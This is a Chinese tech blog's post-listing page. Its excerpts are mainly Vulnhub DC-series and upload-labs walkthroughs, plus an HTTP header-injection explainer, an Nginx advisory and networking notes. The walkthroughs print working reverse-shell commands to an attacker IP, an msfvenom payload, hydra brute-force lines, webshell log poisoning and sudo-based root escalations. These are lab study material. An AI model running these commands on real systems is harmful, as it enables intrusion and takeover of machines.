首页
关于道锋
友情链接
公告栏
麟图图床
麟云文件
麟云证书
BH5UVN
Search
1
使用ReDroid打造自己的云手机
5,097 阅读
2
Cloudflare SAAS 接入自选教程
2,781 阅读
3
CloudFront CDN配置教程
2,376 阅读
4
Frpc使用XTCP不通过服务器传输
2,209 阅读
5
兽装曲腿制作文档
2,205 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
447
篇文章
累计收到
129
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
友情链接
公告栏
友人
iMin博客
特资啦!个人资源分享站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
猎空のBlog“
Suntの小破站
BG5VXJ-无线电
Abyss博客
麟图图床
麟云文件
麟云证书
BH5UVN
搜索到
362
篇与
的结果
2020-04-29
关于什么是HTTP头注入
HOST注入在以往http1.0中并没有host字段,但是在http1.1中增加了host字段,并且http协议在本质也是要建立tcp连接,而建立连接的同时必须知道对方的ip和端口,然后才能发送数据。既然已经建立了连接,那host字段到底起着什么样的的作用?Host头域指定请求资源的Intenet主机和端口号,必须表示请求url的原始服务器或网关的是比如www.test.com和mail.test.com两个域名IP相同,由同一台服务器支持,服务器可以根据host域,分别提供不同的服务,在客户端看来是两个完全不同的站点。Host头实验总结:在http 1.1中不能缺失host字段,如果缺失, 服务器返回400 bad request,http1.1中不能缺失host字段,但host字段可以是空值。密码重置毒相信大家忘记密码时,使用邮箱找回密码并不陌生。看上去貌似能可靠只能发送到你绑的邮箱去重置密码。并且使用你自己独特的密钥令牌才能重置成功。但是好多cms和实际场景为了获取网站的域名拼接秘钥令牌的方式将连接发送到你的邮箱。但是往往获取正确的域名并不是十分的不容易, 然而用一个固定的URI来作为域名会有各种麻烦。所以一般程序员会采用(java)request.getHeader(“Host”); (php)$_SERVER['HTTP_HOST']的方式来获取域名。上面所述的两种获取域名的方法并不可靠。都可以人为的去控制。导致当域名和令牌拼接时,攻击者通过篡改hsot值生成钓鱼连接,当受害者点击时,受害者的秘钥令牌将会直接发送到攻击者的服务器上。使其受害者的密码被攻击者篡改XSS:有些网站会根据HTTP_HOST字段来进行加载css样式表。如果要为固定的话,当域名发生改变时,那么站内所有的css即将失效。而且修改的时候也将的十分头疼,因为每个页面都会引用大量的公共资源。web缓存中毒简单描述:Web缓存服务器的应用模式主要是正向代理和反向代理。正向代理(Proxy)模式是代理网络用户访问internet,客户端将本来要直接发送到internet上源服务器的连接请求发送给代理服务器处理。正向代理的目的是加速用户在使用浏览器访问Internet时的请求响应时间,并提高广域网线路的利用率。正向代理浏览器无需和该站点建立联系,只访问到Web缓存即可。通过正向代理,大大提高了后续用户的访问速度,使他们无需再穿越Internet,只要从本地Web缓存就可以获取所需要的信息,避免了带宽问题,同时可以大量减少重复请求在网络上的传输,从而降低网络流量,节省资费。思路:Apache接收到一个带有非法host header的请求,它会将此请求转发给在 httpd.conf 里定义的第一个虚拟主机。因此,Apache很有可能将带有任意host header的请求转发给应用。X-Forwarded-For注入:大家有没有见过这样一种场景,当你对用户网站进行的爆破或者sql注入的时候,为了防止你影响服务器的正常工作,会限制你访问,当你再次访问时,会提示你的由于你的访问频过快或者您的请求有攻击行为,限制访问几个小时内不能登陆,并且重定向到一个错误友好提示页面。由此可以发起联想?http是无状态连接,而且自己也清空了COOKIE信息,服务器是怎么还是自己的?首先当你有攻击行为的时候,服务器一般会把恶意用户的ip存入数据库。当每次用户请求的时候(以java语言为例),服务器通过request.getRemoteAddr()这个方法来获取请求者的ip。于是想到这个ip我们自己到底能不能伪造?答案是否定的。因为经过测试request.getRemoteAddr并不会回从数据包的请求头去获取ip字段的Value。所以推测ip地址是ip包中的soure来的,当我们发送http请求时是否可以更新soure ip来绕过限制呢,这个可以有!,但是你将不会收到对方的响应,因为在正常的TCP/IP通信中,伪造数据包来源 IP会让发送出去的数据包返回到伪造的IP上,无法实现正常的通信。这样我们也就失去的绕过的意义。User-Agent注入User-Agent、Content-Type等只要是http包中存在的都可以进行篡改。在这再说下User-Agent的头注入和Content-Type的头注入,其他的就不详细赘述。基本原理大同小异。最后会进行总结。一般使用user-Agent,有两种场景一是记录访问者的信息,如什么浏览器、操作系统版本等。二是获取客户的user-Agent,根据你提供的信息来给你推送不同的网页。如果你手机手机访问那么返回你的页面将是小型的web界面,还有各种浏览器的特性,推送相兼容的页面。此时已经进行的数据库的入库和查询操作,如果没对此做过滤那么漏洞就产生了。Content-Type注入远程命令执行Content-Type看见这个字段相信大家都不陌生,例如S2-045的远程命令执行。当Jkarta解析文件上传请求包不当,当攻击者使用恶意的Content-Type,会导致上传发生异常。从而导致Str2框架对Content-Type的内容进行ongl的解析导致命令执行。这个漏洞虽然要涉及Jkarta插件,而arta插件ommons-fileupload和commons-io包,但是这是Str2的默认插件。也就是说基本所有开发使用到上传都会导入这两个依赖包。最重要的是这个漏洞不需要真正的上传只需进行模拟上传即可,甚至可以是GET请求。
2020年04月29日
133 阅读
0 评论
0 点赞
2020-04-24
Vulnhub靶场之DC-7
这周开始上课了,没法每日更新了,只能周末抽时间发,,,那么进入正题老规矩先搜索主机的地址arp-scan -l用nmap扫描端口和信息nmap -sS -A -p 1-65535 192.168.75.140开启了80端口,访问一下看看emmm,为啥这么熟悉,。,。使用之前的方法攻击Drupal,用msf测试失败。。。。总觉得哪里和原先的不一样????挂上SSR去谷歌搜一波看看!!!配置文件?账号密码?能不能登录后台?SSH呢,奇怪的操作增加了WTF奇怪的操作果然增加了查看当前目录下的文件,backups里面有两个加密文件,不可利用,查看mbox文件,发现是一个计划任务:自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh,是root权限执行的。看看权限和内容drush和gpg是什么东西?其中drush是专门用来管理Drupal站点的shell,可以用来修改密码可以修改admin账号的密码,这里要进入/var/www/html目录下才有权限执行该命令,这里修改密码为123465,提示success即修改密码成功。登录成功在Content中新建一个Basic page,然后在Title输入页面的名称,在Body中放入反弹shell的PHP代码,Text format的位置选择PHP code。但是从下图中可以看到Text format里面没有PHP code选项。这些都弄好了之后,在kali上监听端口,最后点击Preview按钮。不过这个貌似被移除了可以通过手动安装。选择URL并点击installURL:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz随后在Content中添加webshell.php,点击Content > Add content > Basic page,先将Text format修改为PHP code,再写入反弹shell可以直接msfvenom生成一个反弹shell代码msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.75.129 LPORT=4444 R > DC7_shell.php复制反弹shell代码到Body里,Title自定义,完了之后放着别动,先使用metasploit监听端口,然后点击Previewmsfconsole use exploit/multi/handler set lhost 192.168.75.129 set lport 4444 set payload php/meterpreter/reverse_tcp run点击Preview后反弹成功,接着进入交互shellshell python -c "import pty;pty.spawn('/bin/bash')"我们使用Drupal反弹回来的shell用户是www-data,所以接下来就是将反弹shell的代码附加到backups.sh脚本中(因为计划任务是root权限执行的,反弹回来的shell也会是root用户)echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.75.129 1234 >/tmp/f" >> backups.sh 然后在kali中监听相应端口,等待计划任务的执行,执行后便获得rootshell,接着进入交互shellnc -lvnp 1234 shell python -c "import pty;pty.spawn('/bin/bash')" 拿下flag
2020年04月24日
132 阅读
0 评论
0 点赞
2020-04-19
Vulnhub靶场之DC-6
还是老规矩。使用arp-scan -l查找我们的目标主机192.168.75.139使用nmap进一步获取相关信息 nmap -sS -A -p 1-65535 192.168.75.139开启了80-22两个端口。直接访问80进一步测试和DC2的靶场有点类似,本地还需要重定向一下、nano /etc/hosts 或编辑C:\Windows\System32\drivers\etc\hosts访问成功使用nmap漏洞扫描脚本nmap --script=vuln 192.168.75.139跑出来一些奇怪的东西,复制出来,做用户表,然后用hydra爆破?吧/usr/share/wordlists/rockyou.txt复制出来为passwd.txthydra -L user.txt -P passwd.txt wordy http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&rememberne=forever&wp-submit=Log In:S=1'可得账号,密码为:mark/helpdesk01发现有Activity monitor,这个模块的tools中的lookup存在CVE-2018-15877远程命令执行漏洞burpsuit直接反弹shellnc -lvvp 4444nc -e /bin/bash 192.168.75.129 4444根据以往的操作,进入到home目录下。应该有一些奇奇怪怪的东西在里面cd /home/mark ls cat things-to-do.txt给出了graham的密码,更换账号ssh登陆ssh graham@192.168.75.139尝试提权sudo -l发现jens账户是无密得,不过ssh是登陆不上去的,但是可以看到jens账户对backups.sh是有权限执行的,也是有写入的权限,所以,尝试在执行此文件时,顺道反弹shellecho 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f| bin/sh -i 2>&1 | nc 192.168.75.129 5555' > backups.shsudo -u jens /home/jens/backups.sh攻击机监听端口5555,获得jens的shell同样,发现root账户是无密得,但是nmap是有root权限的写一个nmap的脚本,运行从而获得root权限echo 'os.execute("/bin/sh")' >root.nse ls sudo nmap --script=/home/jens/root.nse whoami cd ~ cat theflag.txt
2020年04月19日
133 阅读
1 评论
0 点赞
2020-04-17
Vulnhub靶场之DC-5
还是老规矩,先搜集一波信息arp-scan -l 检索一下我们的主机设备192.168.75.138使用nmap扫描端口信息 nmap -sS -p 1-65535 -A 192.168.75.138发现启用了nginx服务,开启着80端口。访问试试似乎是一个介绍页面,还有一个留言板发现存在index.php,solutions.php,about-us.php,faq.php,contact.php,thankyou.php,footer.php七个页面]使用kali下的自带字典因为我用的是Community版本的burp。。。。爆破没法设置线程巨慢,因此盗几张图既然是文件包含,直接老规矩去读取/etc/passwdthankyou.php?file=/etc/passwd对方使用的是Nginx,那么能不能读取出nginx的日志文件呢。查询资料得出,默认nginx的日志路径是/var/log/nginx/*.log如果说他将会读取日志。那么能否在日志里面插入一句话木马呢?插入成功上菜刀连接http://192.168.75.138/thankyou.php?file=/var/log/nginx/error.log试试看成功不出所料,又是一个低权用户那么用nc反弹到kali里面玩nc -e /bin/bash 192.168.75.129 1234nc -lvvp 1234然后我们寻找具有sudo权限的操作find / -perm -u=s -type f 2>/dev/nullscreen提权?searchsploit screen 4.5.0查找可用于screen 4.5.0的漏洞脚本文件cp /usr/share/exploitdb/exploits/linux/local/41152.txt 41152.textcp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh将41154.sh中上面一部分c语言代码另存为libhax.c 编译libhax.c文件gcc -fPIC -shared -ldl -o libhax.so libhax.c将41154.sh中下面一部分c语言代码另存为rootshell.c 编译rootshell.c文件gcc -o rootshell rootshell.c将41154.sh中剩下部分代码另存为dc5.sh脚本文件并在保存dc5.sh文件输入 :set ff=unix ,否则在执行脚本文件时后出错为dc5.sh增加可执行权限,执行dc5.sh文件,成功获取到root权限cd /tmpchmod +x dc5.shls -l./dc5.sh
2020年04月17日
237 阅读
0 评论
0 点赞
2020-04-16
Vulnhub靶场之DC-4 AIS
开头先解释一下为啥没有DC-3DC3的虚拟机安装完后,设备无法联网,内网无法被发现,因此跳过。老规矩,先查一下目标地址192.168.75.137使用nmap对目标进行扫描nmap -sS -p 1-65535 -A 192.168.75.137开启了80.22端口,直接访问80端口,看看是何方神圣还是老规矩,上Hydra大杀器hydra爆破密码: hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.75.137 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F如果你出现这种情况请进入/usr/share/wordlists/路径下kali自带的密码字典rockyou.txt.gz进行解压:gzip -d rockyou.txt.gz登录成功用burp抓包查看nc反弹shell: nc -e /bin/sh 192.168.75.129 4444发现三个账户jim的账户中有密码文件爆破猜解ssh密码,与账户 hydra -L dc4.txt -P passwd.txt -t 6 ssh://192.168.75.131登录进去。看起来好像是有一个邮件的意思噗,密码都出来了登录上去尝试sudo -l 提权,出现提示,使用teehee更改权限,并提权为root
2020年04月16日
270 阅读
0 评论
0 点赞
2020-04-15
Vulnhub靶场之DC-2 WordPress
环境:kali:192.168.75.129 DC2 -靶机 和 kali 在同一C段先是arp-scan -l检索局域网内主机发现靶机地址,使用nmap进行扫描 nmap -A -p 1-65535 192.168.75.136发现打开了80端口,SSH端口那么直接访问80看看有没有什么神奇的东西还跳转了,上hosts重定向。win10路径: C:\Windows\System32\drivers\etclinux路径:/etc/hosts 访问成功,发现flag1使用工具 cewl爬取生成密码cewl http://dc-2/ -w passwd.txt准备使用wpscan进行搞事情,但我。。上hydra大杀器吧,修是不可能修的,,,WordPress默认后台地址:/wp-admin 且WordPress当用户名不存在时会提示用户不存在,可增加爆破效率hydra -L user.txt -P passwd.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'我们跑出了 jerry和tom账户,登进去看看tom,没啥东西,jerry用户界面如下,发现了flag2啊哈想到上一个DC1的靶机是用SSH干进去的问题是,WordPress的CMS本身还是比较安全的,问题基本都出在插件上,可这个jerry的账号权限不够,无法安装插件来上传shell那就硬着头皮ssh试试看,用登录账号密码试试jerry老贼不是同一个密码,太草(一种植物)蛋了试试看Tom老贼不愧是你。。。。执行命令发现 command not found,百度得知这是因为ssh远程连接到服务器的环境变量中不包含对应可执行文件的路径。需要自行添加BASH_CMDS[a]=/bin/sh;a $ /bin/bash export PATH=$PATH:/bin/ export PATH=$PATH:/usr/bin得到flag3切换到Jerry,发现flag4.txt哈?Git还能提权?试试看吧。看看git有没有那个权限 sudo -lflag不会骗人(小声bb)sudo git -p help !/bin/sh奇怪,我怎么没法提权,查了查百度,发现git有一个缓冲区溢出漏洞,在使用sudo git -p --help时,不需要输入root密码即可以root权限执行这条命令。我们尽量减小缓冲区的行数,使其一次性显示不完这条命令的回显结果,这样这条命令就一直处于运行状态,加上此时处于root权限,我们直接在这时候打开bash shell,直接提权至root。看起来要打开gui了,来自Xshell的鄙,艹(一种植物)奇怪的知识增加了
2020年04月15日
131 阅读
0 评论
0 点赞
2020-04-13
Upload-labs靶场11-19关记录
下午继续来打这个upload靶场第十一关:观察源码,发现存在字符拼接。黑名单被取而代之变成白名单。当有php环境中有两个截断条件:1.php版本小于5.3.4 详情关注CVE-2006-72432.php的magic_quotes_gpc为OFF状态,便会有00截断,利用00截断上传。因为我用的是php73,改成52进行试验改为上传成功第十二关:这里保存用了post方法,所以要用burp再16进制里面改,因为post不会像get对%00进行自动解码。上传成功第十三关:上传图片马即可。copy normal.jpg /b + shell.php /a webshell.jpg上传成功第十四关:和第十三关很类似,只不过变成imagesize校验。依然可以通过图片马绕过上传上传成功第十五关:这里用到php_exif模块来判断文件类型,还是直接就可以利用图片马就可进行绕过:不过,我起初多次测试,老是报错然后我才发现,我exif模块没开,,,上传成功第十六关:本关综合判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,绕过方法:上传成功第十七关:本关是条件竞争,查看代码:这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。首先在burp中不断发送上传webshell的数据包然后不断在浏览器中访问,发现通过竞争可以访问到:第十八关:和前一关非常类似,只不过结和前面几关的方法,对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功:第十九关:CVE-2015-2348 move_uploaded_file() 00截断,上传webshell,同时自定义保存名称,直接保存为php是不行的发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过
2020年04月13日
95 阅读
0 评论
1 点赞
2020-04-13
Upload-labs靶场6-10关记录
今天继续练习upload靶场第六关:对文件末尾进行了处理,但是对于windows的特性,我们可以在后缀前添加空格来绕过解析,打开burp截断修改上传成功第七关:相比第六关,第七关抛弃了去后缀点的操作,但是对于windows系统,后缀的点将会自动删除,用burp截断添加一个点第八关:与第七关相比,缺少了对DATA流的处理,在PW环境的情况下:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名老规矩,上万能的burp,截断修改上传成功第九关:程序先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用类似one.php. .(两个点号之间有一个空格)绕过,如果重名名了文件的话应该会用$file_ext来进行拼凑文件,这样保存在服务器中的文件将没有后缀(去除了.空格)上burp截断修改成功第十关:黑名单加重写,使用双写后缀绕过成功
2020年04月13日
140 阅读
0 评论
0 点赞
2020-04-12
Upload-labs靶场1-5关记录
工具:upload-labs靶场源码一枚,Phpstudy大法一个,Burp项目地址:https://github.com/Tj1ngwe1/upload-labs首先先安装好靶场,有Web基础的话,我就不再说了,windows平台拿phpstudy就好了。。。过程先从第一关开始:先看到有一个上传点,尝试上传webshell被拦截,点击查看代码,查看关键点,发现存在前端js验证那么可以选择关闭浏览器js进行测试,这里我选择使用burp进行改包,先把webshell改成.png上传,用burp改为php后缀成功第二关:老规矩,直接查看源码:对content-type:类型进行了规定,尝试使用burp截断修改绕过上传成功第三关:上传特殊解析后缀绕过常见特殊解析后缀有asp:asa,cer,cdxaspx:ashx,asmx,ascxphp:php2、php3、php4、php5、phps、phtmljsp:jspx,jspf那么,吧后缀改成php2上传成功第四关:很明显,这次连解析也没的玩了,考虑到我的目标http服务是apache,尝试使用htaccess文件将指定文件解析为脚本编写文件<FilesMatch "5"> SetHandler application/x-httpd-php </FilesMatch>解析为php成功第五关:很明显,连h文件都被屏蔽了,怎么办呢,服务器对上传文件的解析貌似只存在小写,使用大写来绕过测试。成功上传解析
2020年04月12日
118 阅读
0 评论
0 点赞
2020-04-11
浅谈HTTP的各种请求方法
早在http1.0时代,最基础的三个请求模式被定义出来,他们分别是GET POST HEAD慢慢到了Http1.1时代,请求基本模型就出来了,这一次,增加了更多的功能类请求OPTIONS, PUT, DELETE, TRACE 和 CONNECTGET那么,先从最最最基础的GET请求开始说起,做为http三巨头之一,顾名思义,他面向于获取类型的请求,比如,向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url,其最明显的特征就是,打开地址栏,你可以非常清楚的看到,他发送了什么。POSTpost作为和get一样古老的东西,作为“邮件”同样顾名思义,它是想服务器发送数据,然后再从服务器那边获取返回数据。向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form,最明显的特征就是,你无法直观的看出,你的客户端对服务器发送了什么,数据内容是存在于body内的,只能通过抓包解析出。HEAD我通常吧head请求看作是get请求的阉割版,他只响应http头部,响应主体不会被发出,这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应小消息头中的元信息。是的,心跳检测用head请求再好不过了。OPTIONS返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能PUT向指定资源位置上传其最新内容DELETE请求服务器删除Request-URL所标识的资源TRACE回显服务器收到的请求,主要用于测试或诊断CONNECTHTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。那么,值得注意的,在请求报文里面,请求类型必须是大写的,否则服务器可能将返回405 method not allowdHTTP工作原理HTTP协议定义Web客户端如何从Web服务器请求Web页面,以及服务器如何把Web页面传送给客户端。HTTP协议采用了请求/响应模型。客户端向服务器发送一个请求报文,请求报文包含请求的方法、URL、协议版本、请求头部和请求数据。服务器以一个状态行作为响应,响应的内容包括协议的版本、成功或者错误代码、服务器信息、响应头部和响应数据。HTTP 请求/响应的步骤:客户端连接到Web服务器->发送Http请求->服务器接受请求并返回HTTP响应->释放连接TCP连接->客户端浏览器解析HTML内容1、客户端连接到Web服务器一个HTTP客户端,通常是浏览器,与Web服务器的HTTP端口(默认为80)建立一个TCP套接字连接。例如,http://www.baidu.com2、发送HTTP请求通过TCP套接字,客户端向Web服务器发送一个文本的请求报文,一个请求报文由请求行、请求头部、空行和请求数据4部分组成。3、服务器接受请求并返回HTTP响应Web服务器解析请求,定位请求资源。服务器将资源复本写到TCP套接字,由客户端读取。一个响应由状态行、响应头部、空行和响应数据4部分组成。4、释放连接TCP连接若connection 模式为close,则服务器主动关闭TCP连接,客户端被动关闭连接,释放TCP连接;若connection 模式为keepalive,则该连接会保持一段时间,在该时间内可以继续接收请求;5、客户端浏览器解析HTML内容客户端浏览器首先解析状态行,查看表明请求是否成功的状态代码。然后解析每一个响应头,响应头告知以下为若干字节的HTML文档和文档的字符集。客户端浏览器读取响应数据HTML,根据HTML的语法对其进行格式化,并在浏览器窗口中显示。其实就是曾经发表的一篇文章中RTT的说明
2020年04月11日
133 阅读
0 评论
0 点赞
2020-04-05
Nginx中的upstream
upstream参数的相关描述如下:server 反向服务地址和端口weight 权重max_fails 失败多少次,认为主机已挂掉,则踢出fail_timeout 踢出后重新探测时间backup 备用服务max_conns 允许最大连接数slow_start 当节点恢复,不立即加入max_conns可以根据服务的好坏来设置最大连接数,防止挂掉,比如1000,可以设置800upstream tuling { server 127.0.0.1:8050 weight=5 max_conns=800; server 127.0.0.1:8060 weight=1; }max_fails、fail_timeoutmax_fails:失败多少次认为主机已挂掉,则踢出,资源少的话一般设置为2~3次,多的话设置1次max_fails=3, fail_timeout=30s代表在30秒内请求某一应用失败3次,认为该应用宕机,后等待30秒,这期间内不会再把新请求发送到宕机应用,而是直接发到正常的服务器,时间到后再有请求进来继续尝试连接宕机应用且仅尝试1次,如果还是失败,则继续等待30秒……以此循环,直到恢复。upstream tuling { server 127.0.0.1:8080 weight=1 max_fails=1 fail_timeout=20; server 127.0.0.1:8081 weight=1; }关闭掉8080的服务,会发现在20秒内还是访问8080的,20s后才会访问8081
2020年04月05日
163 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】Nginx/OpenResty 特殊配置下内存泄漏与目录穿越漏洞
漏洞描述Nginx是一个高性能的HTTP和反向代理web服务器,OpenResty是一个基于 Nginx 与 Lua 的高性能Web平台。近日国外安全研究者公开了Nginx/OpenResty在特殊配置下存在内存泄漏或目录穿越漏洞详情。由于Nginx在rewrite功能实现上存在缺陷,以及OpenResty在ngx.req.set_uri()实现上存在缺陷,如果Nginx配置文件中使用了rewrite或者ngx.req.set_uri(),则攻击者可能可以通过构造恶意请求,从而造成内存泄漏或者目录穿越漏洞。影响版本nginx <= v1.17.7openresty <= v1.15.8.2安全建议1. Nginx更新至安全版本>=v1.17.92. 以下是存在漏洞的配置片段,建议用户自检查配置文件,并禁用相关危险配置。location ~ /memleak { rewrite_by_lua_block { ngx.req.read_body(); local args, err = ngx.req.get_post_args(); ngx.req.set_uri( args["url"], true ); } } location ~ /rewrite { rewrite ^.*$ $arg_x; } 相关链接https://www.openwall.com/lists/oss-security/2020/03/18/1https://hackerone.com/reports/513236
2020年03月25日
318 阅读
0 评论
0 点赞
1
...
29
30
31